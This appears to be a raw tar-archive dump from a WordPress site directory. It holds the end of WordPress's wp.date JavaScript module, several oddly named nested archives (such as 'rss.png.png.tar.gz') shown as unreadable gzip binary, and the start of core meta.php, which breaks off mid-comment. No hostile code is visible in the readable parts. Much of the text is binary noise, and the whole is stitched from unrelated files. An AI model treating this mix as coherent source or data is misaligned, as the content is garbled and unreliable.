/* eslint-enable jsdoc/valid-types */

/**
 * @typedef DateSettings
 * @property {L10nSettings}   l10n     Localization settings.
 * @property {FormatsConfig}  formats  Date/time formats config.
 * @property {TimezoneConfig} timezone Timezone settings.
 */

const WP_ZONE = 'WP';

// This regular expression tests positive for UTC offsets as described in ISO 8601.
// See: https://en.wikipedia.org/wiki/ISO_8601#Time_offsets_from_UTC
const VALID_UTC_OFFSET = /^[+-][0-1][0-9](:?[0-9][0-9])?$/;

// Changes made here will likely need to be synced with Core in the file
// src/wp-includes/script-loader.php in `wp_default_packages_inline_scripts()`.
/** @type {DateSettings} */
let settings = {
  l10n: {
    locale: 'en',
    months: ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'],
    monthsShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'],
    weekdays: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'],
    weekdaysShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'],
    meridiem: {
      am: 'am',
      pm: 'pm',
      AM: 'AM',
      PM: 'PM'
    },
    relative: {
      future: '%s from now',
      past: '%s ago',
      s: 'a few seconds',
      ss: '%d seconds',
      m: 'a minute',
      mm: '%d minutes',
      h: 'an hour',
      hh: '%d hours',
      d: 'a day',
      dd: '%d days',
      M: 'a month',
      MM: '%d months',
      y: 'a year',
      yy: '%d years'
    },
    startOfWeek: 0
  },
  formats: {
    time: 'g: i a',
    date: 'F j, Y',
    datetime: 'F j, Y g: i a',
    datetimeAbbreviated: 'M j, Y g: i a'
  },
  timezone: {
    offset: '0',
    offsetFormatted: '0',
    string: '',
    abbr: ''
  }
};

/**
 * Adds a locale to moment, using the format supplied by `wp_localize_script()`.
 *
 * @param {DateSettings} dateSettings Settings, including locale data.
 */
function setSettings(dateSettings) {
  settings = dateSettings;
  setupWPTimezone();

  // Does moment already have a locale with the right name?
  if (external_moment_default().locales().includes(dateSettings.l10n.locale)) {
    // Is that locale misconfigured, e.g. because we are on a site running
    // WordPress < 6.0?
    if (external_moment_default().localeData(dateSettings.l10n.locale).longDateFormat('LTS') === null) {
      // Delete the misconfigured locale.
      // @ts-ignore Type definitions are incorrect - null is permitted.
      external_moment_default().defineLocale(dateSettings.l10n.locale, null);
    } else {
      // We have a properly configured locale, so no need to create one.
      return;
    }
  }

  // defineLocale() will modify the current locale, so back it up.
  const currentLocale = external_moment_default().locale();

  // Create locale.
  external_moment_default().defineLocale(dateSettings.l10n.locale, {
    // Inherit anything missing from English. We don't load
    // moment-with-locales.js so English is all there is.
    parentLocale: 'en',
    months: dateSettings.l10n.months,
    monthsShort: dateSettings.l10n.monthsShort,
    weekdays: dateSettings.l10n.weekdays,
    weekdaysShort: dateSettings.l10n.weekdaysShort,
    meridiem(hour, minute, isLowercase) {
      if (hour < 12) {
        return isLowercase ? dateSettings.l10n.meridiem.am : dateSettings.l10n.meridiem.AM;
      }
      return isLowercase ? dateSettings.l10n.meridiem.pm : dateSettings.l10n.meridiem.PM;
    },
    longDateFormat: {
      LT: dateSettings.formats.time,
      LTS: external_moment_default().localeData('en').longDateFormat('LTS'),
      L: external_moment_default().localeData('en').longDateFormat('L'),
      LL: dateSettings.formats.date,
      LLL: dateSettings.formats.datetime,
      LLLL: external_moment_default().localeData('en').longDateFormat('LLLL')
    },
    // From human_time_diff?
    // Set to `(number, withoutSuffix, key, isFuture) => {}` instead.
    relativeTime: dateSettings.l10n.relative
  });

  // Restore the locale to what it was.
  external_moment_default().locale(currentLocale);
}

/**
 * Returns the currently defined date settings.
 *
 * @return {DateSettings} Settings, including locale data.
 */
function getSettings() {
  return settings;
}

/**
 * Returns the currently defined date settings.
 *
 * @deprecated
 * @return {DateSettings} Settings, including locale data.
 */
function __experimentalGetSettings() {
  external_wp_deprecated_default()('wp.date.__experimentalGetSettings', {
    since: '6.1',
    alternative: 'wp.date.getSettings'
  });
  return getSettings();
}
function setupWPTimezone() {
  // Get the current timezone settings from the WP timezone string.
  const currentTimezone = external_moment_default().tz.zone(settings.timezone.string);

  // Check to see if we have a valid TZ data, if so, use it for the custom WP_ZONE timezone, otherwise just use the offset.
  if (currentTimezone) {
    // Create WP timezone based off settings.timezone.string.  We need to include the additional data so that we
    // don't lose information about daylight savings time and other items.
    // See https://github.com/WordPress/gutenberg/pull/48083
    external_moment_default().tz.add(external_moment_default().tz.pack({
      name: WP_ZONE,
      abbrs: currentTimezone.abbrs,
      untils: currentTimezone.untils,
      offsets: currentTimezone.offsets
    }));
  } else {
    // Create WP timezone based off dateSettings.
    external_moment_default().tz.add(external_moment_default().tz.pack({
      name: WP_ZONE,
      abbrs: [WP_ZONE],
      untils: [null],
      offsets: [-settings.timezone.offset * 60 || 0]
    }));
  }
}

// Date constants.
/**
 * Number of seconds in one minute.
 *
 * @type {number}
 */
const MINUTE_IN_SECONDS = 60;
/**
 * Number of minutes in one hour.
 *
 * @type {number}
 */
const HOUR_IN_MINUTES = 60;
/**
 * Number of seconds in one hour.
 *
 * @type {number}
 */
const HOUR_IN_SECONDS = 60 * MINUTE_IN_SECONDS;

/**
 * Map of PHP formats to Moment.js formats.
 *
 * These are used internally by {@link wp.date.format}, and are either
 * a string representing the corresponding Moment.js format code, or a
 * function which returns the formatted string.
 *
 * This should only be used through {@link wp.date.format}, not
 * directly.
 */
const formatMap = {
  // Day.
  d: 'DD',
  D: 'ddd',
  j: 'D',
  l: 'dddd',
  N: 'E',
  /**
   * Gets the ordinal suffix.
   *
   * @param {Moment} momentDate Moment instance.
   *
   * @return {string} Formatted date.
   */
  S(momentDate) {
    // Do - D.
    const num = momentDate.format('D');
    const withOrdinal = momentDate.format('Do');
    return withOrdinal.replace(num, '');
  },
  w: 'd',
  /**
   * Gets the day of the year (zero-indexed).
   *
   * @param {Moment} momentDate Moment instance.
   *
   * @return {string} Formatted date.
   */
  z(momentDate) {
    // DDD - 1.
    return (parseInt(momentDate.format('DDD'), 10) - 1).toString();
  },
  // Week.
  W: 'W',
  // Month.
  F: 'MMMM',
  m: 'MM',
  M: 'MMM',
  n: 'M',
  /**
   * Gets the days in the month.
   *
   * @param {Moment} momentDate Moment instance.
   *
   * @return {number} Formatted date.
   */
  t(momentDate) {
    return momentDate.daysInMonth();
  },
  // Year.
  /**
   * Gets whether the current year is a leap year.
   *
   * @param {Moment} momentDate Moment instance.
   *
   * @return {string} Formatted date.
   */
  L(momentDate) {
    return momentDate.isLeapYear() ? '1' : '0';
  },
  o: 'GGGG',
  Y: 'YYYY',
  y: 'YY',
  // Time.
  a: 'a',
  A: 'A',
  /**
   * Gets the current time in Swatch Internet Time (.beats).
   *
   * @param {Moment} momentDate Moment instance.
   *
   * @return {number} Formatted date.
   */
  B(momentDate) {
    const timezoned = external_moment_default()(momentDate).utcOffset(60);
    const seconds = parseInt(timezoned.format('s'), 10),
      minutes = parseInt(timezoned.format('m'), 10),
      hours = parseInt(timezoned.format('H'), 10);
    return parseInt(((seconds + minutes * MINUTE_IN_SECONDS + hours * HOUR_IN_SECONDS) / 86.4).toString(), 10);
  },
  g: 'h',
  G: 'H',
  h: 'hh',
  H: 'HH',
  i: 'mm',
  s: 'ss',
  u: 'SSSSSS',
  v: 'SSS',
  // Timezone.
  e: 'zz',
  /**
   * Gets whether the timezone is in DST currently.
   *
   * @param {Moment} momentDate Moment instance.
   *
   * @return {string} Formatted date.
   */
  I(momentDate) {
    return momentDate.isDST() ? '1' : '0';
  },
  O: 'ZZ',
  P: 'Z',
  T: 'z',
  /**
   * Gets the timezone offset in seconds.
   *
   * @param {Moment} momentDate Moment instance.
   *
   * @return {number} Formatted date.
   */
  Z(momentDate) {
    // Timezone offset in seconds.
    const offset = momentDate.format('Z');
    const sign = offset[0] === '-' ? -1 : 1;
    const parts = offset.substring(1).split(':').map(n => parseInt(n, 10));
    return sign * (parts[0] * HOUR_IN_MINUTES + parts[1]) * MINUTE_IN_SECONDS;
  },
  // Full date/time.
  c: 'YYYY-MM-DDTHH:mm:ssZ',
  // .toISOString.
  /**
   * Formats the date as RFC2822.
   *
   * @param {Moment} momentDate Moment instance.
   *
   * @return {string} Formatted date.
   */
  r(momentDate) {
    return momentDate.locale('en').format('ddd, DD MMM YYYY HH:mm:ss ZZ');
  },
  U: 'X'
};

/**
 * Formats a date. Does not alter the date's timezone.
 *
 * @param {string}                             dateFormat PHP-style formatting string.
 *                                                        See [php.net/date](https://www.php.net/manual/en/function.date.php).
 * @param {Moment | Date | string | undefined} dateValue  Date object or string,
 *                                                        parsable by moment.js.
 *
 * @return {string} Formatted date.
 */
function format(dateFormat, dateValue = new Date()) {
  let i, char;
  const newFormat = [];
  const momentDate = external_moment_default()(dateValue);
  for (i = 0; i < dateFormat.length; i++) {
    char = dateFormat[i];
    // Is this an escape?
    if ('\\' === char) {
      // Add next character, then move on.
      i++;
      newFormat.push('[' + dateFormat[i] + ']');
      continue;
    }
    if (char in formatMap) {
      const formatter = formatMap[(/** @type {keyof formatMap} */char)];
      if (typeof formatter !== 'string') {
        // If the format is a function, call it.
        newFormat.push('[' + formatter(momentDate) + ']');
      } else {
        // Otherwise, add as a formatting string.
        newFormat.push(formatter);
      }
    } else {
      newFormat.push('[' + char + ']');
    }
  }
  // Join with [] between to separate characters, and replace
  // unneeded separators with static text.
  return momentDate.format(newFormat.join('[]'));
}

/**
 * Formats a date (like `date()` in PHP).
 *
 * @param {string}                             dateFormat PHP-style formatting string.
 *                                                        See [php.net/date](https://www.php.net/manual/en/function.date.php).
 * @param {Moment | Date | string | undefined} dateValue  Date object or string, parsable
 *                                                        by moment.js.
 * @param {string | number | undefined}        timezone   Timezone to output result in or a
 *                                                        UTC offset. Defaults to timezone from
 *                                                        site.
 *
 * @see https://en.wikipedia.org/wiki/List_of_tz_database_time_zones
 * @see https://en.wikipedia.org/wiki/ISO_8601#Time_offsets_from_UTC
 *
 * @return {string} Formatted date in English.
 */
function date(dateFormat, dateValue = new Date(), timezone) {
  const dateMoment = buildMoment(dateValue, timezone);
  return format(dateFormat, dateMoment);
}

/**
 * Formats a date (like `date()` in PHP), in the UTC timezone.
 *
 * @param {string}                             dateFormat PHP-style formatting string.
 *                                                        See [php.net/date](https://www.php.net/manual/en/function.date.php).
 * @param {Moment | Date | string | undefined} dateValue  Date object or string,
 *                                                        parsable by moment.js.
 *
 * @return {string} Formatted date in English.
 */
function gmdate(dateFormat, dateValue = new Date()) {
  const dateMoment = external_moment_default()(dateValue).utc();
  return format(dateFormat, dateMoment);
}

/**
 * Formats a date (like `wp_date()` in PHP), translating it into site's locale.
 *
 * Backward Compatibility Notice: if `timezone` is set to `true`, the function
 * behaves like `gmdateI18n`.
 *
 * @param {string}                                 dateFormat PHP-style formatting string.
 *                                                            See [php.net/date](https://www.php.net/manual/en/function.date.php).
 * @param {Moment | Date | string | undefined}     dateValue  Date object or string, parsable by
 *                                                            moment.js.
 * @param {string | number | boolean | undefined=} timezone   Timezone to output result in or a
 *                                                            UTC offset. Defaults to timezone from
 *                                                            site. Notice: `boolean` is effectively
 *                                                            deprecated, but still supported for
 *                                                            backward compatibility reasons.
 *
 * @see https://en.wikipedia.org/wiki/List_of_tz_database_time_zones
 * @see https://en.wikipedia.org/wiki/ISO_8601#Time_offsets_from_UTC
 *
 * @return {string} Formatted date.
 */
function dateI18n(dateFormat, dateValue = new Date(), timezone) {
  if (true === timezone) {
    return gmdateI18n(dateFormat, dateValue);
  }
  if (false === timezone) {
    timezone = undefined;
  }
  const dateMoment = buildMoment(dateValue, timezone);
  dateMoment.locale(settings.l10n.locale);
  return format(dateFormat, dateMoment);
}

/**
 * Formats a date (like `wp_date()` in PHP), translating it into site's locale
 * and using the UTC timezone.
 *
 * @param {string}                             dateFormat PHP-style formatting string.
 *                                                        See [php.net/date](https://www.php.net/manual/en/function.date.php).
 * @param {Moment | Date | string | undefined} dateValue  Date object or string,
 *                                                        parsable by moment.js.
 *
 * @return {string} Formatted date.
 */
function gmdateI18n(dateFormat, dateValue = new Date()) {
  const dateMoment = external_moment_default()(dateValue).utc();
  dateMoment.locale(settings.l10n.locale);
  return format(dateFormat, dateMoment);
}

/**
 * Check whether a date is considered in the future according to the WordPress settings.
 *
 * @param {string} dateValue Date String or Date object in the Defined WP Timezone.
 *
 * @return {boolean} Is in the future.
 */
function isInTheFuture(dateValue) {
  const now = external_moment_default().tz(WP_ZONE);
  const momentObject = external_moment_default().tz(dateValue, WP_ZONE);
  return momentObject.isAfter(now);
}

/**
 * Create and return a JavaScript Date Object from a date string in the WP timezone.
 *
 * @param {?string} dateString Date formatted in the WP timezone.
 *
 * @return {Date} Date
 */
function getDate(dateString) {
  if (!dateString) {
    return external_moment_default().tz(WP_ZONE).toDate();
  }
  return external_moment_default().tz(dateString, WP_ZONE).toDate();
}

/**
 * Returns a human-readable time difference between two dates, like human_time_diff() in PHP.
 *
 * @param {Moment | Date | string}             from From date, in the WP timezone.
 * @param {Moment | Date | string | undefined} to   To date, formatted in the WP timezone.
 *
 * @return {string} Human-readable time difference.
 */
function humanTimeDiff(from, to) {
  const fromMoment = external_moment_default().tz(from, WP_ZONE);
  const toMoment = to ? external_moment_default().tz(to, WP_ZONE) : external_moment_default().tz(WP_ZONE);
  return fromMoment.from(toMoment);
}

/**
 * Creates a moment instance using the given timezone or, if none is provided, using global settings.
 *
 * @param {Moment | Date | string | undefined} dateValue Date object or string, parsable
 *                                                       by moment.js.
 * @param {string | number | undefined}        timezone  Timezone to output result in or a
 *                                                       UTC offset. Defaults to timezone from
 *                                                       site.
 *
 * @see https://en.wikipedia.org/wiki/List_of_tz_database_time_zones
 * @see https://en.wikipedia.org/wiki/ISO_8601#Time_offsets_from_UTC
 *
 * @return {Moment} a moment instance.
 */
function buildMoment(dateValue, timezone = '') {
  const dateMoment = external_moment_default()(dateValue);
  if (timezone && !isUTCOffset(timezone)) {
    // The ! isUTCOffset() check guarantees that timezone is a string.
    return dateMoment.tz(/** @type {string} */timezone);
  }
  if (timezone && isUTCOffset(timezone)) {
    return dateMoment.utcOffset(timezone);
  }
  if (settings.timezone.string) {
    return dateMoment.tz(settings.timezone.string);
  }
  return dateMoment.utcOffset(+settings.timezone.offset);
}

/**
 * Returns whether a certain UTC offset is valid or not.
 *
 * @param {number|string} offset a UTC offset.
 *
 * @return {boolean} whether a certain UTC offset is valid or not.
 */
function isUTCOffset(offset) {
  if ('number' === typeof offset) {
    return true;
  }
  return VALID_UTC_OFFSET.test(offset);
}
setupWPTimezone();

})();

(window.wp = window.wp || {}).date = __webpack_exports__;
/******/ })()
;14338/rss.png.png.tar.gz000064400000001427151024420100010523 0ustar00����M�O+J-.K+��O.��M-NN�KM�IM���K/-(.MK���N�/�+��K���//���K�)MI-���MLRE��zy�X����`CCCSC##Sccc��������v�J�K��V�îA:��y����L^O�  ��l@R�C�"����c��(�A��T���iy�F��l���MW��2�.z���kT��jA��W�5u[�;�;:��6����7��d�ސ�r���vo��{��� �Z�a���c�X�74�ܒ��g_�+�ʱy��9�w��j{�DNI	��u$b�5�{ks���R��{�o�v�����֛;=$vm�J��>��u�.�:ƞ�a���D�)ߎ��u�_�/଒��*��k���ً�﫻�v���%��}���w��9󟛖�	d�ɖ>y���s����_��߾���so�?	���ͺ��}�>����l�u�ܑ|#�����>�mѧ�꿹�����!�Kc��{wl�Ą�w/]��y��+_i�eo�ը�U���O�x�~[��G�G
"̯�
��_S��Vd��9�7oNx�euϮ�Mio,:B�����N�M+˟(sޞ�m��T[�'�5����5F�:5^||��$�/�Ʉ��Z�	O�W4��a���s�T}ٚ?�G��l�q�z�|W���ׯ��}����O'�$�Kz~�]m�����>��+�m�EjW1�������텂�AɨA��?��ֳ�wA��~.��.e��Q0
F�(�._�X
14338/embed.tar.gz000064400000003370151024420100007421 0ustar00��َ�60�ٯ�H��W��DF
�yh�E,h����E��׻5��;�.�����֜â8��H3���!���\��D�@�7/���op{N�;p��}�]�<�yyV�qX�k���]�����Ƌ	�ň�&���3�O��dW���p�T��aS�B��!1E�����w�/�>��$����Ut�r}{<g4��&Q��kE�w-�BK����Yԅ��{{�9g|�b<�'�;_�j`�H̄�x�3�d�Ʊ���������m��B�[�����n�LɄ#��!j�(����s��,���
��( ��CD�h"]J<N%?�,ޔ��!��F�̢O�ʷ_+�_7N��js��`�H(�~o�����8��X�.�Gq�yV�Y+y'|y�ǧs�Ы���U�(�_����\�b��\��j���c��M�,@�2@��W��ؼ�����`'mA����#?�D�S?�z�RgB��]b���{��4Tt��F
�%���X����:�_+�4�o��{ú��z#��'��rC�+�_S���:_Q��c�.k��������
���n�1�0�ِ��t_�3��ao`�?��_6�H���Q����a��'�jW+���]7�ѹ��4^�
LF�c�?u��F�|ۙ�ۆtP:����ڎZf,wo�y����jy�bb���UD=�u��+iz^�@���L)[�j��VS�������J_w��U��)G��țs��<A�1E*����I6�"f��A-�961��a*�*R�� �uV��t�Y1CO�(T%��A��aK�����P{̒�{R�՗�q�d0]�s�{������08����%��+��%=�z3޷{�������Y~���=uG��9�ZQ���>��w�E��hA�߫�z&�sh��6Z�H+�(��Iz�{`~���;�����;�F2�[�Dcw@%�l�!���;��7
��u����(:��A�`�� L�~Di_/�>�_��ˮě;.��s�>�lم��<���ϛ�o������?����&�7�M�o�˃$�?n��p�7����������k�t�o�=�߃�n�����'������"˄:�ՙK��&�;]�g7�/����]�\�ɟ��7��S#�8��F���%�T���H��j��bp�#Hu�0���W����(Vf��%���S��W���ڢ�[_WD�)���b˯�	�&���"z�Oђ�dKRr2�)���mg�i�� 8W&E3����tϚ�>�;�4�as�m�BJ@�%��`
�9��^[�[7]�9,ǜ�8?�s�B��g�A���y�Q�2a����d�-x�pN��ǟ"*��-�{�WhB��앦��8f\�/�>�6�;B��Q!�ď�n�8��T����r��=���ʰ��?����*�g���կ�h�ҁ��ܶ���;_�����k�O?v��U<q����@f3vm��h��@���
l��Vh���[��%�b0�4QKS�w#{��KB��r��)�?�l�>��⠜�vת�PIlJ���Uu��P��Be�Iya��WZJ�}����.5��!Ն��VB:��P��i9_��P]!)>����Ce
/��WI��Y���
�����)���3���g�?�]��Gm��Q��Gg��w
�����?��4`����?��פ\14338/default.png.png.tar.gz000064400000001177151024420100011342 0ustar00����M�O+J-.K+��O.��M-NN�KM�IM���K/-(.MK���N�/�+��K���//���K�)MI-���MLR�E��%�9�)�i��9%zy�p`f&&�
�
LM

�L�
����Ff@����R����V�îA:��y����L^O�  ��6 I�3׫{<]C<�O��wD��%���[�_6���������w�.�8Ʋ!r�hd�Q[���_�nu��lPqh�W���}D�$����1f1��.�O=0�,s򑳧2b��thz��d�
c���M�5��*��EmN,��`>c��O.F,������]z��j��ߪ�.pr�y�#�h�W�n'άW�>e}�V�c��wN�3W�K]7���e�7�/�m�$�1�����*;��2�~�J�:�����'>
���P]b���㷍�z��x�s���]��/[;�j����� }'�x?˼����_��-��R��{ߗ�?�X��ͫ��?]]rE��ܙ���w��f�Z`l�ZZ���Y�_�;�O�b��~��	�k��&���(�����'����5'�x�ΫKo����x�����6���,8���s�DGP�x����sJh��3
F�(�b�L14338/theme.min.css.min.css.tar.gz000064400000000372151024420100012370 0ustar00����N�0�>J%.pH��H��	��Z�8%30�S*�a�pa�w�d[���Y��CxҏĕGA�2 	iLsHZ;sT.Q|.���43$e��?����4��q�E*T���&�&�U��ʶUSu�e��U��ŧ�o�B�~]����b
sːm�i�G%爎�.���m�Qd_�/�|�p�L�_&�_
l��ȶWȿ>]od�\�\��#R/r��`�߾�n����:�14338/meta.php.tar000064400000203000151024420100007432 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/meta.php000064400000177333151024200130023015 0ustar00<?php
/**
 * Core Metadata API
 *
 * Functions for retrieving and manipulating metadata of various WordPress object types. Metadata
 * for an object is a represented by a simple key-value pair. Objects may contain multiple
 * metadata entries that share the same key and differ only in their value.
 *
 * @package WordPress
 * @subpackage Meta
 */

require ABSPATH . WPINC . '/class-wp-metadata-lazyloader.php';

/**
 * Adds metadata for the specified object.
 *
 * @since 2.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $meta_type  Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                           or any other object type with an associated meta table.
 * @param int    $object_id  ID of the object metadata is for.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Metadata value. Arrays and objects are stored as serialized data and
 *                           will be returned as the same type when retrieved. Other data types will
 *                           be stored as strings in the database:
 *                           - false is stored and retrieved as an empty string ('')
 *                           - true is stored and retrieved as '1'
 *                           - numbers (both integer and float) are stored and retrieved as strings
 *                           Must be serializable if non-scalar.
 * @param bool   $unique     Optional. Whether the specified metadata key should be unique for the object.
 *                           If true, and the object already has a value for the specified metadata key,
 *                           no change will be made. Default false.
 * @return int|false The meta ID on success, false on failure.
 */
function add_metadata( $meta_type, $object_id, $meta_key, $meta_value, $unique = false ) {
	global $wpdb;

	if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) ) {
		return false;
	}

	$object_id = absint( $object_id );
	if ( ! $object_id ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	$meta_subtype = get_object_subtype( $meta_type, $object_id );

	$column = sanitize_key( $meta_type . '_id' );

	// expected_slashed ($meta_key)
	$meta_key   = wp_unslash( $meta_key );
	$meta_value = wp_unslash( $meta_value );
	$meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );

	/**
	 * Short-circuits adding metadata of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `add_post_metadata`
	 *  - `add_comment_metadata`
	 *  - `add_term_metadata`
	 *  - `add_user_metadata`
	 *
	 * @since 3.1.0
	 *
	 * @param null|bool $check      Whether to allow adding metadata for the given type.
	 * @param int       $object_id  ID of the object metadata is for.
	 * @param string    $meta_key   Metadata key.
	 * @param mixed     $meta_value Metadata value. Must be serializable if non-scalar.
	 * @param bool      $unique     Whether the specified meta key should be unique for the object.
	 */
	$check = apply_filters( "add_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $unique );
	if ( null !== $check ) {
		return $check;
	}

	if ( $unique && $wpdb->get_var(
		$wpdb->prepare(
			"SELECT COUNT(*) FROM $table WHERE meta_key = %s AND $column = %d",
			$meta_key,
			$object_id
		)
	) ) {
		return false;
	}

	$_meta_value = $meta_value;
	$meta_value  = maybe_serialize( $meta_value );

	/**
	 * Fires immediately before meta of a specific type is added.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible hook names include:
	 *
	 *  - `add_post_meta`
	 *  - `add_comment_meta`
	 *  - `add_term_meta`
	 *  - `add_user_meta`
	 *
	 * @since 3.1.0
	 *
	 * @param int    $object_id   ID of the object metadata is for.
	 * @param string $meta_key    Metadata key.
	 * @param mixed  $_meta_value Metadata value.
	 */
	do_action( "add_{$meta_type}_meta", $object_id, $meta_key, $_meta_value );

	$result = $wpdb->insert(
		$table,
		array(
			$column      => $object_id,
			'meta_key'   => $meta_key,
			'meta_value' => $meta_value,
		)
	);

	if ( ! $result ) {
		return false;
	}

	$mid = (int) $wpdb->insert_id;

	wp_cache_delete( $object_id, $meta_type . '_meta' );

	/**
	 * Fires immediately after meta of a specific type is added.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible hook names include:
	 *
	 *  - `added_post_meta`
	 *  - `added_comment_meta`
	 *  - `added_term_meta`
	 *  - `added_user_meta`
	 *
	 * @since 2.9.0
	 *
	 * @param int    $mid         The meta ID after successful update.
	 * @param int    $object_id   ID of the object metadata is for.
	 * @param string $meta_key    Metadata key.
	 * @param mixed  $_meta_value Metadata value.
	 */
	do_action( "added_{$meta_type}_meta", $mid, $object_id, $meta_key, $_meta_value );

	return $mid;
}

/**
 * Updates metadata for the specified object. If no value already exists for the specified object
 * ID and metadata key, the metadata will be added.
 *
 * @since 2.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $meta_type  Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                           or any other object type with an associated meta table.
 * @param int    $object_id  ID of the object metadata is for.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param mixed  $prev_value Optional. Previous value to check before updating.
 *                           If specified, only update existing metadata entries with
 *                           this value. Otherwise, update all entries. Default empty string.
 * @return int|bool The new meta field ID if a field with the given key didn't exist
 *                  and was therefore added, true on successful update,
 *                  false on failure or if the value passed to the function
 *                  is the same as the one that is already in the database.
 */
function update_metadata( $meta_type, $object_id, $meta_key, $meta_value, $prev_value = '' ) {
	global $wpdb;

	if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) ) {
		return false;
	}

	$object_id = absint( $object_id );
	if ( ! $object_id ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	$meta_subtype = get_object_subtype( $meta_type, $object_id );

	$column    = sanitize_key( $meta_type . '_id' );
	$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	// expected_slashed ($meta_key)
	$raw_meta_key = $meta_key;
	$meta_key     = wp_unslash( $meta_key );
	$passed_value = $meta_value;
	$meta_value   = wp_unslash( $meta_value );
	$meta_value   = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );

	/**
	 * Short-circuits updating metadata of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `update_post_metadata`
	 *  - `update_comment_metadata`
	 *  - `update_term_metadata`
	 *  - `update_user_metadata`
	 *
	 * @since 3.1.0
	 *
	 * @param null|bool $check      Whether to allow updating metadata for the given type.
	 * @param int       $object_id  ID of the object metadata is for.
	 * @param string    $meta_key   Metadata key.
	 * @param mixed     $meta_value Metadata value. Must be serializable if non-scalar.
	 * @param mixed     $prev_value Optional. Previous value to check before updating.
	 *                              If specified, only update existing metadata entries with
	 *                              this value. Otherwise, update all entries.
	 */
	$check = apply_filters( "update_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $prev_value );
	if ( null !== $check ) {
		return (bool) $check;
	}

	// Compare existing value to new value if no prev value given and the key exists only once.
	if ( empty( $prev_value ) ) {
		$old_value = get_metadata_raw( $meta_type, $object_id, $meta_key );
		if ( is_countable( $old_value ) && count( $old_value ) === 1 ) {
			if ( $old_value[0] === $meta_value ) {
				return false;
			}
		}
	}

	$meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s AND $column = %d", $meta_key, $object_id ) );
	if ( empty( $meta_ids ) ) {
		return add_metadata( $meta_type, $object_id, $raw_meta_key, $passed_value );
	}

	$_meta_value = $meta_value;
	$meta_value  = maybe_serialize( $meta_value );

	$data  = compact( 'meta_value' );
	$where = array(
		$column    => $object_id,
		'meta_key' => $meta_key,
	);

	if ( ! empty( $prev_value ) ) {
		$prev_value          = maybe_serialize( $prev_value );
		$where['meta_value'] = $prev_value;
	}

	foreach ( $meta_ids as $meta_id ) {
		/**
		 * Fires immediately before updating metadata of a specific type.
		 *
		 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
		 * (post, comment, term, user, or any other type with an associated meta table).
		 *
		 * Possible hook names include:
		 *
		 *  - `update_post_meta`
		 *  - `update_comment_meta`
		 *  - `update_term_meta`
		 *  - `update_user_meta`
		 *
		 * @since 2.9.0
		 *
		 * @param int    $meta_id     ID of the metadata entry to update.
		 * @param int    $object_id   ID of the object metadata is for.
		 * @param string $meta_key    Metadata key.
		 * @param mixed  $_meta_value Metadata value.
		 */
		do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );

		if ( 'post' === $meta_type ) {
			/**
			 * Fires immediately before updating a post's metadata.
			 *
			 * @since 2.9.0
			 *
			 * @param int    $meta_id    ID of metadata entry to update.
			 * @param int    $object_id  Post ID.
			 * @param string $meta_key   Metadata key.
			 * @param mixed  $meta_value Metadata value. This will be a PHP-serialized string representation of the value
			 *                           if the value is an array, an object, or itself a PHP-serialized string.
			 */
			do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
		}
	}

	$result = $wpdb->update( $table, $data, $where );
	if ( ! $result ) {
		return false;
	}

	wp_cache_delete( $object_id, $meta_type . '_meta' );

	foreach ( $meta_ids as $meta_id ) {
		/**
		 * Fires immediately after updating metadata of a specific type.
		 *
		 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
		 * (post, comment, term, user, or any other type with an associated meta table).
		 *
		 * Possible hook names include:
		 *
		 *  - `updated_post_meta`
		 *  - `updated_comment_meta`
		 *  - `updated_term_meta`
		 *  - `updated_user_meta`
		 *
		 * @since 2.9.0
		 *
		 * @param int    $meta_id     ID of updated metadata entry.
		 * @param int    $object_id   ID of the object metadata is for.
		 * @param string $meta_key    Metadata key.
		 * @param mixed  $_meta_value Metadata value.
		 */
		do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );

		if ( 'post' === $meta_type ) {
			/**
			 * Fires immediately after updating a post's metadata.
			 *
			 * @since 2.9.0
			 *
			 * @param int    $meta_id    ID of updated metadata entry.
			 * @param int    $object_id  Post ID.
